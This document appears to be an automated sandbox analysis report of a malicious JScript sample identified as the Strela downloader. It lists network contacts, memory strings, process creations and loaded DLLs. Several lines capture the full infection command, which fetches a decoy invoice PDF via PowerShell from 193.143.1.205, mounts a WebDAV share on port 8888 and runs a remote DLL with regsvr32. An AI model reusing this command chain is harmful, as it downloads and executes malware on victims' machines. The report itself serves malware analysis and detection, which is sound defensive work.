HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000003.2107070867.00000195DF0A1000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000003.2107522820.00000195DF0C7000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.2195485770.000001C417BDA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2195485770.000001C417BF9000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2195485770.000001C417BA8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.2195485770.000001C417BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/B
Source: net.exe, 00000007.00000002.2195485770.000001C417BDA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/J
Source: svchost.exe, 00000009.00000002.3406374227.000002420B800000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F80085060.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.2206541076.000002420B680000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2.C:
Source: qmgr.db.9.dr	String found in binary or memory: https://oneclient.sfx.ms/Win/Prod/21.220.1024.0005/OneDriveSetup.exe/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 6564, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 7503204021179918537.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@28/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1856:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_nmq1xyty.frg.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\7503204021179918537.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1528,i,2606910405970676168,4803394523659336682,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\166482017413304.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2248 --field-trial-handle=1528,i,2606910405970676168,4803394523659336682,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
